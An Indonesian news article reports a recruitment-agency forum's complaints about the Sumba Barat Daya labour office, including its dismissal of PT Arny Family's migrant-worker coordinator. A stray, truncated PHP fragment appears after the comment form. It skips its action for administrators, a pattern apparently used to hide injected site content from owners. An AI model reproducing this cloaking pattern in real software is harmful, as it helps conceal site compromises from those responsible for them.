Birokrasi

Berhentikan Koordinator P3MI PT Arny Family, Disnakertrans Kabupaten SBD Dituding Ikut Campur Urusan Rumah Tangga PJTKI

×

Berhentikan Koordinator P3MI PT Arny Family, Disnakertrans Kabupaten SBD Dituding Ikut Campur Urusan Rumah Tangga PJTKI

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Sejumlah perusahaan penyalur tenaga kerja di Kabupaten Sumba Barat Daya meminta adanya komunikasi dan kerja sama yang lebih baik dengan pemerintah daerah, khususnya dinas terkait, dalam proses perekrutan dan penempatan pekerja migran.

Pernyataan tersebut disampaikan Ketua Forum Perusahaan Jasa Tenaga Kerja Indonesia (PJTKI), Gabriel Malo Ngongo belum lama ini.

Perwakilan perusahaan merasa dirugikan ketika ada persoalan yang melibatkan dinas, termasuk terkait keputusan pemberhentian Koordinator P3MI PT Arny Family, Alexander Kapoteng.

“Aneh, keputusan tersebut bukan berasal dari perusahaan, melainkan disampaikan oleh pihak dinas kepada perusahaan,” ujarnya.

Surat pencabutan pengesahan Koordinator P3MI PT Arny Family yang dikeluarkan Dinas Nakertrans Kabupaten SBD. ( Foto Menara Sumba )

Pihaknya juga mengeluh adanya sejumlah persyaratan tambahan wajib saat proses CPMI dan AKAD di Dinas Nakertrans Kabupaten SBD.

Salah syarat adalah menghadirkan orang tua kandung atau suami dari CPMI dan AKAD saat wawancara di dinas.

Mirisnya, tidak ada ruang tunggu bagi keluarga dari calon tenaga kerja ini saat menunggu giliran wawancara.

Akibatnya keluarga dari CPMI dan AKAD ini terpaksa menanti di luar kantor sambil berdiri atau duduk di emper kantor.

“Kalau dinas ya aman-aman. Kita sebagai perusahaan yang mengundang otomatis ya kita malu, karena kita mengundang mereka tapi mereka duduk di luar,” ujarnya.

Komunikasi yang Sehat sebagai Mitra

Ia berharap ke depan tidak ada lagi campur tangan berlebihan dari dinas dalam urusan internal perusahaan.

Menurutnya, hubungan kemitraan antara perusahaan dan pemerintah harus dibangun dengan komunikasi yang sehat dan saling menghargai.

Pihak perusahaan juga mengusulkan agar dilakukan pertemuan bersama antara pemerintah daerah, dinas terkait, perusahaan, hingga bupati untuk membahas persoalan perekrutan tenaga kerja secara terbuka.

“Kalau perlu kita undang ibu bupati dan dinas-dinas terkait supaya kita bisa bicara bersama. Karena ini menyangkut hidup dan kemanusiaan,” imbaunya.

Gabriel menekankan pentingnya penegakan aturan sesuai Undang-Undang Nomor 18 Tahun 2017 tentang Pelindungan Pekerja Migran Indonesia, yang mengatur proses penempatan dan perlindungan tenaga kerja.

Ia menyebut, dalam mekanisme tersebut perusahaan bertindak sebagai perekrut, sementara dinas memiliki fungsi pengawasan.

Karena itu, pihaknya meminta agar proses perekrutan calon pekerja migran tidak dipersulit.

“Kami juga ajak insan pers serta seluruh pihak terkait untuk bersama-sama menjaga proses perekrutan agar berjalan aman, adil, dan tidak merugikan calon pekerja migran yang hendak berangkat kerja,” tandasnya.

Sayang upaya awak media mengonfirmasi pimpinan Dinas Nakertrans Kabupaten SBD saat itu tidak terjawab.

Meski sudah mengisi buku tamu namun wartawan tidak berhasil menemui kepala dinas. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>